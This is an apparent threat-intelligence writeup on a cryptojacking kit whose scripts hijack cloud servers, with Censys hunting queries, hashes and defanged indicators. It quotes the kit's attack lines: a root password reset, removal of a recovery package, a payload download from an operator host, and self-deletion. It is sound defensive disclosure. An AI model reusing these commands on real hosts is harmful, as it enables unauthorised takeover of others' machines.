The Server That Said "pls input someting"

Like I usually do, I left every wrong turn in this writeup on purpose. The corrections are the real lesson, and I would rather show you how the work actually went than pretend I walked a straight line to the answer.

The short version

• One open directory on a Beijing cloud host was serving a full cryptojacking takeover kit. The miner was the easy part. The script wrapped around it changed the machine's locks, kept the key for itself, and erased itself on the way out.
• The miner is commodity software that the feeds already know. The files that turned it into a takeover are not. None of the ten of them had ever been submitted anywhere I checked.
• Four separate times I was sure I had found something big. Four times I had to take it back. Those four corrections are the most useful part of this report.
• The fingerprint that finally held was a typo in a login prompt, pls input someting. It lines up 27 servers that all carry it exactly, and one of them is watching the rest.
• A second layer of the operation, a backbone of 17 mining relays, only became visible because the deployment scripts hardcode it. Everything you can use, the queries, the hashes, and the infrastructure, is at the bottom.

How I got here

I was chasing command and control (C2) infrastructure, the usual Sliver and Ligolo servers, and getting nowhere, when a pivot dropped me onto a host I had no reason to care about. It was 101.126.33[.]186, a Beijing box in Autonomous System (AS) 137718, which is Volcano Engine, ByteDance's cloud. Port 9999 was open, and Censys gave me a single label for it.

OPEN_DIRECTORY

Censys hangs that label on any host that answers a web request with a raw directory listing instead of a real page. Picture a workshop with the lights left on and the door standing open. Instead of a finished website you get the shelves themselves, with every tool sitting out on the bench where you can read the labels. Most of the time it is nothing, somebody's backups or a sloppy file share. Once in a while you walk in and the tools on the bench are meant for breaking into other people's machines.

This was the second kind. The shelves held xmr for Monero, srbminer and xmrig for the mining itself, tari and nock for more coins to dig, a 423 MB NVIDIA driver because miners are hungry for graphics cards, and a stack of install_*.sh scripts to bolt the whole thing together.

nock/  nock-proxy/  nockb2huoshan/  srbminer/  tari/  tencentnock/
tool/  xmr/  xmrig-proxy/
config.yaml
install_cpu-auto-max-1-2-huoshan.sh
nockb2huoshanullname.tar.gz
tencent_cpu_auto_nullname_script.sh
tencentnocknullname.tar.gz
NVIDIA-Linux-x86_64-595.80.run

The directory timestamps ran from August 2025 to the week I found it, so this bench was in daily use. Nobody had walked away from it.

Here is where I almost made my first mistake, because mining by itself is not a crime. You can rent a server, mine Monero on it all day, and the only thing you owe is the power bill. A miner on a host tells you nothing on its own. The whole case comes down to one question I had not yet earned the right to answer. Was this someone mining their own machines, or someone mining yours?

The answer was never going to be in the miner. However, it was sitting in the wrapper around it, so I read the scripts.

Working safely, and a habit that saved the case

Before I touched a single file, I split the work across two machines, because the moment you run curl against an actor's server you have shaken their hand, and you want that handshake happening somewhere you can throw away. So the actor facing fetches all ran from a throwaway Linode with no credentials anywhere on it, using a hard timeout so a tarpit could not hang me.

curl -s -o "$out" --connect-timeout 10 --max-time 120 "$url"

The reputation lookups, the ones that needed my VirusTotal and MalwareBazaar keys, ran on a completely separate machine. The only thing that ever crossed between the two was plain hash text. That way the box holding my keys never reaches out to the operator, and the box reaching out to the operator never holds anything worth stealing.

Then I hashed every file and wrote the numbers down before I trusted any of them. That step sounds excessive until it saves you. When I came back to verify, four of the files returned at exactly 162 bytes, all sharing one hash. For a second that looks like the operator swapped them out from under me. However, 162 bytes is not a script. It is an nginx "404 Not Found" page, and my download had quietly saved that error message to disk under the filename I asked for. If I had hashed on autopilot, I would have reported four files changing that were never at that path to begin with. They had not moved. I had knocked on the wrong door. The guard against it is one line.

# anything suspiciously tiny is a failed download, not a file
find files -type f -size -300c -printf 'SUSPECT(<300B): %p\n'

Call that mistake number zero, and I had not even reached the malware yet.

The smoking gun is twelve lines

Here is the heart of it, the orchestrator script tencent_cpu_auto_nullname_script.sh, with the noise stripped out.

dpkg -r reset-authentication                              # line 5
echo root:'<redacted — salted hash in IOCs>' | chpasswd   # line 6
./install_cpu-auto-max-1-2-huoshan.sh -p 1788 \
   -u 'hxxp://115.190.140[.]175:9999/tencentnocknullname.tar.gz'   # line 10
rm ./tencent_cpu_auto_nullname_script.sh                  # line 12

Its partner, setup_ssh.sh, pipes six actor Secure Shell (SSH) keys into root's authorized_keys, and the author even left a note to themselves in the margin, in Chinese, "在这里添加更多公钥," which means "add more public keys here."

One test cuts through all of it. Would the rightful owner of this machine ever do this to it? Walk the lines one at a time.

Line 6 pipes a fixed string into chpasswd, which quietly resets root's password to a value the actor picked. No one locks themselves out of their own house. Line 5 runs dpkg -r to remove a package named reset-authentication. Going by its name and its place in the sequence, that package is the cloud provider's own way to reset access on a locked out instance, the very tool the owner would reach for to undo line 6, and I want to be clear that I am reading that role from the name rather than from cracking the package open. The six injected keys are a second lock set on top of the first. Line 12 then deletes the script the instant it finishes. Installers do not erase themselves on the way out the door. Evidence does.

I read it twice to be sure, the password reset, the recovery package torn out right behind it, the quiet rm at the end, and the whole thing points in one direction only. Every move works against the owner and serves only someone who wants quiet control of a box that was never theirs. That is the moment a miner becomes a takeover that happens to mine. In MITRE ATT&CK terms it is Persistence (T1098.004 and T1098), Impair Defenses (T1562), Indicator Removal (T1070.004), and Resource Hijacking (T1496), a four step takeover folded into twelve lines. The same script turns up under a second filename, tc_menghen_bj_…, with a byte for byte identical hash, which is the first hint that this is a template stamped out many times rather than a one off.

Four conclusions I reached and had to retract

Most writeups give you the clean version, where the author never stumbles and every step leads neatly to the next. That is not how this went. Four times the data lit up with a conclusion, and four times I had to put it back down. Those four moments are where the real work happened, and I have left every one of them in.

1. "The miner is novel." It's commodity.

All those unfamiliar binaries had me convinced I was looking at a brand new malware family, so I unpacked the bundle, pulled out the miner itself, h9-miner-nock-linux-amd64, and ran its hash past the feeds.

VT: malicious=9   label=miner.ltfzz   also seen as: k3kvq.exe

It came back known. It is a commodity HPool miner that anyone can download. That boring result turned out to be the important one, because it proved the two layers separate cleanly. The novelty was never going to live in the payload. However, when I ran all ten of the wrapper files past VirusTotal and MalwareBazaar, every single hash returned a flat not found, never even submitted. That is where the real novelty was hiding, and I would have walked right past it if I had planted my flag on the miner.

A file the feeds have never seen only means it is fresh. A known commodity can still be dangerous once you see what it is bundled with. You have to weigh the operation and the payload as two separate things.

2. "The miner hides its process." There's no hiding.

Half of these files wore the word nullname in their names, and I had already written "process hiding" in my own notes. It was sitting right there in the filenames, which is exactly why I went looking for the mechanism instead of trusting the label. A claim you have not tried to break is only a hope. So I grepped every script for the techniques a miner actually uses to hide a process, a bind mount over /proc, an LD_PRELOAD shim, a renamed process through prctl or exec -a, a detached session through setsid.

grep -nE 'mount --bind|/proc/[0-9]|LD_PRELOAD|prctl|PR_SET_NAME|exec -a|setsid' *.sh
# (nothing)

Nothing. And the service that runs the miner, straight out of a configure script, is this.

systemctl restart miner.service

It is named miner.service, in plain sight, with no cloak and no trick. The word "nullname" was only ever a token in a filename. I struck the claim, and the finding got smaller and stronger at the same time, which is exactly what being right feels like. A filename is not evidence. You test the machinery and you ignore the label.

3. "I found a thousand victims." It's a stock image.

This is the one that nearly got me. I wanted a durable way to track the operator so badly I could taste it, so I pivoted on the one thing a fresh box almost never changes, its Secure Shell host key, betting the operator had reused a single golden image across the whole estate.

host.services.ssh.server_host_key.fingerprint_sha256="c079531c..."
→ 13,736 results

For about three seconds, that is the find of a career, your pulse jumps and you start writing the headline in your head. However, then the discipline kicks in and turns the lights back on. An SSH host key is generated once, the first time the daemon starts on a fresh machine. If 13,736 machines all present the same one, it does not mean one crew owns them. It means they were all cloned from a single image whose key was baked in before that first boot and never regenerated, which is the unmistakable signature of a cheap cloud product sold by the thousand. The certificate told the same story when I checked the subject name.

host.services.cert.parsed.subject_dn: "CN=10_2_0_8"
→ 97 results

That CN=10_2_0_8 is just an internal address 10.2.0.8 flattened into a name, baked into a common Windows template and shared by 97 unrelated hosts. Both of those giant numbers were factory defaults. My "operator node" was one rented unit of a product that thousands of people run, so I cut it loose from the core. Finding a big number is easy. Knowing which big number to throw back is the whole skill.

4. "The body hash is the fingerprint." It's the whole internet's error page.

This one almost made it into the published draft, and a single query caught it on its way out the door. The operator's payload servers all answer with the same byte for byte 401 Unauthorized, and Censys gives you two different hashes of that reply. The banner_hash covers the whole response, the status line and the headers and the body together. The body_hash covers only the returned page. They feel interchangeable, and out of habit I reached for the body hash.

host.services.endpoints.http.body_hash_sha256="2fb524c3..."
→ 1,156 results

That returned 1,156 hosts spread across OVH, AWS, DigitalOcean, Hetzner, Russia, Germany, the United States, and Japan, the exact opposite of a tight Beijing fleet. The reason is the whole lesson packed into one stretch of bytes. The operator's typo lives up in the WWW-Authenticate header, but the page underneath it is the stock nginx 1.16.1 "401 Authorization Required" body that every nginx box on earth returns when it refuses a login. The body hash had matched the boilerplate and ignored the one part that was actually theirs. The fix was to hash the whole banner instead, headers included, which is the field that carries the typo. One word of difference, header instead of body, sits between a real fingerprint and a coin flip. As a small aside for anyone who works in Censys, the banner hash you want is host.services.banner_hash_sha256 at the service level. The tidier looking endpoints.http.banner_hash_sha256 does not exist and will just error on you. You hash the part the operator chose, and never the part the software ships for free.

The fingerprint was a typo

So where was the real signature hiding? In the dullest corner of the whole operation. When you hit one of the operator's payload servers, it does not hand you a file. It throws up a login box, and the realm string that labels that box is the signature.

WWW-Authenticate: Basic realm="pls input someting"

Misspelled, broken, and unmistakably the work of one person. An nginx basic auth prompt has no default text. The operator has to supply the realm string themselves, so the realm is always a deliberate choice, and a broken one repeated byte for byte across every box they built is the fingerprint of a single operator rather than a coincidence. So I searched the header directly. The query reaches into the parsed Hypertext Transfer Protocol (HTTP) headers and matches a key and value together, and the : here means a substring match, which is looser and more forgiving than the exact = I used on the hashes.

host.services.endpoints.http.headers:(key:"www_authenticate" and value:"pls input someting")
→ 27 results

Twenty seven hosts came back, every one of them on Volcano Engine in Beijing, all on port 80, all answering with the same 401, confirmed on the full banner_hash and the same nginx 1.16.1. Two things turn this from a coincidence into a single operator. First, the realm is the operator's own invention. I searched the string against every nginx basic authentication tutorial I could find, and they all use something tidy like "Restricted Area" or "Administrator's Area." None of them use "pls input someting," so a broken phrase worn by 27 boxes is one operator's deliberate choice rather than a convention many people copy. Second, and this is the part that seals it, one of those 27 hosts, 115.190.140[.]175, is named directly inside the malware. Line 10 of the orchestrator reaches out to hxxp://115.190.140[.]175:9999/…tar.gz for its payload. The realm is more than a resemblance. It is the front door of a server the malware physically downloads from. The scatter test backs it up, because 27 boxes sitting on one cloud in one city is not how a copied public config spreads.

Then the fleet handed me a thread. One of those hosts, 180.184.54[.]173, was carrying a Domain Name System (DNS) name.

kuma.hd3p[.]com

kuma is Uptime Kuma, a self hosted status monitoring dashboard. The operator had stood up a monitor on its own domain and pointed it straight into the fleet, which is the kind of thing you only build for infrastructure you own and intend to babysit. It also surfaced a fresh operator domain, hd3p[.]com. I chased that domain with crt.sh, certspotter, and whois, all of which are public and safe to run from my main box, and the chase kept me honest as much as it paid off. The certificate transparency logs gave me a pool. host on hd3p[.]com, which fits a mining operation. However, whois told me hd3p[.]com does not share registration with the other operator domain http33[.]com. One was registered through Alibaba on DNSPod nameservers back in 2012, the other through Cloudflare in 2023 with the details redacted, and they share no certificates. So I tie the two domains together by how they are used rather than by a clean ownership record I cannot actually prove, and hd3p[.]com's link to the fleet rests on the single name that lands inside it, kuma.. A dull error page, read closely, caught the whole fleet and handed me the next lead in the same breath.

Inside the kit: one template, stamped per victim

The tool/ directory held two families of configure scripts, one per target, and reading both of them tells you exactly what the kit changes for each victim. It also handed me a layer of the operation I was never supposed to see.

The api_* scripts are the simple ones. Each stamps a single HPool mining key into the config and does almost nothing else.

NEW_API_KEY="nock0000-1811-****-****-************"
sed -i "s/apiKey: \".*\"/apiKey: \"$NEW_API_KEY\"/" "$config_file"

A second one carries nock0000-30c8-****-****-************. Add the keys already sitting in the two cluster configs, and that is at least four separate HPool worker identities across the operation, one per batch. That is how you run it if you want clean books for each batch of victims and the ability to burn one identity without losing the rest. Those keys are a better thread to pull than any IP address, because they are the operator's own accounting.

The croes_hs_* and croes_tc_* scripts do something I had guessed wrong about. From the nullname naming I had assumed they were the evasion layer. They are not. They are a hardware tuner. Each one measures the box it landed on, works out how hard to run, and then points the miner at a relay chosen by that measurement.

cores=$(nproc)                                   # how many cores did we land on
mem_gb=$(free -g | awk '/Mem:/ {print $2}')      # and how much memory
# rewrite the pool address in the miner config to a relay chosen by core count
sed -i "s/[0-9]\{1,3\}\(\.[0-9]\{1,3\}\)\{3\}:[0-9]\{1,5\}/$ip/g" "$config_file"
sed -i "s/threads: [0-9]\+/threads: $cores/g"    "$config_file"
systemctl restart miner.service

The selection is a plain case statement on the core count. A small two or four core box gets sent to one relay, a 96 core box gets sent to another, and the thread count is set to match so the miner works the hardware hard without falling over. It is load balancing for stolen compute. And because the relay for every machine size is written out in full, each script is carrying a hardcoded map of the operator's own relay layer, the same layer the open directory had already hinted at by shipping nock-proxy/ and xmrig-proxy/.

115.190.151[.]9:9130   115.190.59[.]153:9117   115.190.121[.]176:9119  101.126.33[.]186:9121
180.184.93[.]21:9122   115.190.52[.]227:9123   101.126.46[.]146:9124   115.190.152[.]207:9125
101.126.28[.]214:9126  115.190.52[.]187:9127   115.190.117[.]189:9128  115.190.13[.]89:9129
115.190.61[.]184:6105  115.190.127[.]193:6100  115.190.45[.]164:6102   115.190.62[.]231:9112
101.126.88[.]4:9116

Seventeen Volcano Engine endpoints standing behind the fleet you can actually see. Three of them are worth more than the headcount.

The first is the anchor itself. 101.126.33[.]186, the open directory I started from, shows up here as a relay on port 9121. The build bench is also production infrastructure.

The second ties the fleet to the mining backend by the operator's own hand. 115.190.62[.]231:9112 is hardcoded as a default upstream, and it is one of the 27 realm fleet hosts. That gives me three separate links between the fleet and the operation now, the named payload origin, this named relay, and the kuma. hostname, and each one is a different mechanism.

The third is a correction to one of my earlier corrections. 115.190.127[.]193 is the box I threw back over its shared Secure Shell key, and here the operator's own script names it as a default relay. Both things are true at once. The shared key told me how the box was built, and it never told me who was using it. It is operator infrastructure after all. I simply could not prove that from the key, and I was right not to try. The config is what settles it.

There was one more check to run, because an untested lead is not a finding. I put all 17 relays back through Censys to see whether those mining ports answer the open internet. Eleven of them were in the scan data at all, and not one exposed its relay port. Every visible host talks on web, database, or Remote Desktop Protocol (RDP) ports, while the mining ports stay silent the moment a scanner knocks, which is exactly what a relay firewalled to its own miners would do. So the backbone stays documented from the operator's config rather than from the outside, and it does not earn a tracking signature of its own. However, what the scan did show backs up ownership. The visible faces of these addresses are a SOCKS proxy on port 1080, a matched pair of identical Windows desktops, and a scattering of database and file sync services. That is the shape of an estate a crew stands up for itself.

So the per target layer changes two things, the mining identity and the relay assignment. None of these scripts touch dpkg, the cloud provider's agent, or the password. That logic lives upstream in the orchestrator and runs the same for every tenant. What the croes_ layer adds is pure operations, which key you mine under and which relay you phone home to, tuned to whatever hardware it landed on.

What I am claiming, exactly

I want to be exact about what I am claiming, because restraint here is just accuracy, and accuracy is the whole product.

I have proven that 101.126.33[.]186 is a live, malicious takeover kit, shown from its own source, refetched and hash matched and read line by line. The malice is the four step chain, and it does not depend on the filenames.

I have proven that the operation's ten wrapper files are missing from every feed I checked, and that the only known artifact is the commodity miner. The novelty is the operation, and the payload is ordinary.

I am confident, within limits, about the fleet. The 27 hosts share a byte for byte identical login response, the same misspelled realm, on one provider in one region, and three of them are tied to the operation by separate mechanisms. One is the payload origin named in the orchestrator, 115.190.140[.]175. One is a default relay named in a configure script, 115.190.62[.]231. One carries a hostname on the operator's own domain, kuma.hd3p[.]com. The other 24 are high confidence members of the fleet, and I am not calling them individually proven victims. The realm proves shared deployment, and it does not prove identical disks, which is a weaker bond than a cloned machine identifier. I say so in the same breath that I show it.

I am inferring, and labeling it as inference, the exact role of the reset-authentication package.

I am not claiming the way in, a victim count, an operator's name, or any theft capability. This is resource hijacking and unauthorized control. It is not a wallet stealer, and I will not inflate it into one.

What you can use

Here is what you can take and run today. I have defanged the network indicators so nothing here is live.

Catch the next open directory mirror. Today this returns exactly one host, and it will fire the moment a second appears.

host.labels="OPEN_DIRECTORY" and host.services.endpoints.http.body:"tencent_cpu_auto_nullname_script.sh"

Catch the payload and staging fleet. Today this returns 27 hosts.

host.services.endpoints.http.headers:(key:"www_authenticate" and value:"pls input someting")
host.services.banner_hash_sha256="030b359f9b123ea9617ff303c98ac7ba3c2084f1935f595004ddcf6cddc6d83a"

Do not pivot on the body hash. It is the stock nginx 401 page and it matches roughly 1,156 unrelated hosts around the world. The realm lives in the header, and only a header level match isolates the fleet.

101.126.33[.]186          Volcano Engine / Beijing   open-dir build & mirror (:9999) AND stratum proxy (:9121) — anchor, proven
115.190.140[.]175         Volcano Engine / Beijing   payload origin, now locked behind the typo realm; also a fleet member
115.190.127[.]193:6100    Volcano Engine / Beijing   operator stratum proxy (named in croes_tc_huojinglin); SSH host key is a commodity-image default — do not pivot on it
115.190.62[.]231:9112     Volcano Engine / Beijing   stratum proxy (named in croes_tc_menghen) AND realm-fleet member
upfile.obs.cn-east-3.myhuaweicloud[.]com/tool/setup_ssh.sh   Huawei OBS — SSH-key backdoor, still live
49.232.236[.]216:9999     Tencent / Beijing          payload URL named in -h1 variant (role unconfirmed; no open :9999 now)
hd3p[.]com                Alibaba/DNSPod reg., 2012   operator-linked: kuma.hd3p[.]com → 180.184.54[.]173 (fleet monitor), pool.hd3p[.]com (mining pool). NOT registration-linked to http33[.]com
http33[.]com              Cloudflare reg., 2023       operator-linked (brand); separate registration from hd3p[.]com

115.190.151[.]9:9130   115.190.59[.]153:9117   115.190.121[.]176:9119  101.126.33[.]186:9121
180.184.93[.]21:9122   115.190.52[.]227:9123   101.126.46[.]146:9124   115.190.152[.]207:9125
101.126.28[.]214:9126  115.190.52[.]187:9127   115.190.117[.]189:9128  115.190.13[.]89:9129
115.190.61[.]184:6105  115.190.127[.]193:6100  115.190.45[.]164:6102   115.190.62[.]231:9112
101.126.88[.]4:9116

(Plus the full 27 host "pls input someting" fleet in the indicator set.)

2c0e9c1c1837a7c8730f3a834dc6f2828cbeca63d92171e1b4ac3522107be93f  setup_ssh.sh                           six SSH-key backdoor + sshd hardening
a49a709cb1cfae0c15457f16863c110bb33f36f6572d47bd907082472d3d1aa3  tencent_cpu_auto_nullname_script.sh    4-step kill chain (identical hash: tc_menghen_bj_… variant)
d5d7c7c589ea9af9b191621c6011948041311b6ca40bf4ecae19073029e0b60e  install_cpu-auto-max-1-2-huoshan.sh    systemd miner installer
f9b41a38… [full SHA256 pending]                                 install_cpu-auto-max-h1.sh             installer variant (references 49.232.236[.]216)
6e72e5d8dc0564164cf53048e62ef13063684632d02087172c786b568bd2a4c0  install_cpu_monitor.sh                 watchdog
3c275588… [full SHA256 pending]                                 croes_hs_all_configure_system.sh       per-tenant config writer (miner.service)
8e9ef4b3… [full SHA256 pending]                                 one_shot_reboot_setup.sh               self-deleting one-shot reboot helper
a2937c43f3d8aa902bebdad50663b7dff1e23075f4a8e4fd2900ee24841fc2b9  config.yaml                            HPool config schema (apiKey nock0000-…)
257d3db4cfb5942f22c166f9139dcabfbc690bf05823278983d6916c7c65fe9f  nockb2huoshanullname.tar.gz            bundle (config + miner)
c62a68830998b14613184e4746e7a0c3a21a7a96c856e3a8915df0adb9b018d3  tencentnocknullname.tar.gz             bundle (config + miner)
4441e7f50a66cc9b678113284f3a19c8e3189c771902237d10df852c7a0c49d0  h9-miner-nock-linux-amd64              COMMODITY miner — VT malicious=9, miner.ltfzz

nock0000-7234-****-****-************   cluster config (Operation A)
nock0000-672d-****-****-************   cluster config (related cluster)
nock0000-1811-****-****-************   croes_api_1181  (baidu / xmyuzik tenant)
nock0000-30c8-****-****-************   croes_api_30c8  tenant

Masked after the batch group. The nock0000- prefix and the batch id are the
trackable pattern; the full keys are held back from publication.

Backdoor credential (a detection signal, not loot). Rather than reprint a working root password, here is a salted SHA-256 of the value the malware sets, so a match can be confirmed without the live credential being republished. Salt 1457702e6f7f6cd1, digest fa5c49550c8806f21d8dcdbeafdd3194dc6c4bbbab1ce5a233eae61b38c859a2, built as sha256(salt + password). If you recover a candidate root password on a host, run printf '%s' '1457702e6f7f6cd1<candidate>' | sha256sum and compare. A host whose root password reproduces this digest is potentially compromised.

If you defend a network, block the mirror and the payload origins, watch for dpkg -r reset-authentication running on a host, and watch root's authorized_keys for keys that should not be there. Run the two Censys signatures above on a schedule. The miner is only the power bill. The twelve line wrapper is the actual incident.

The honest wrap up

I went looking for command and control infrastructure and once again walked away with a mining takeover kit. The kit is real, the backdoor is real, the 27 server fleet is real, the relay backbone behind it is real, and the typo that ties it together is exactly the kind of human slip that internet scan data exists to catch. The version of this report worth your trust, though, is the one that kept all four of my wrong turns in it. I read a commodity miner as a new family. I believed in process hiding that was never there. I was handed 13,736 hosts that were really a factory default, and a body hash that was really the whole internet's error page.

None of those was a failure. Every one of them was the data showing me where the floor was not, and the finding only stands as firmly as it does because I stopped each time and looked again. I learned a long time ago, in a much harder classroom, that the fastest way to get hurt is to grow comfortable and stop checking your surroundings. The same thing is true in this work. The exciting answer is usually the one most likely to be wrong, and the willingness to set it down and look again is what separates a guess from a finding. That habit travels with me into any problem and any team, and it is the part of this work I am proudest of.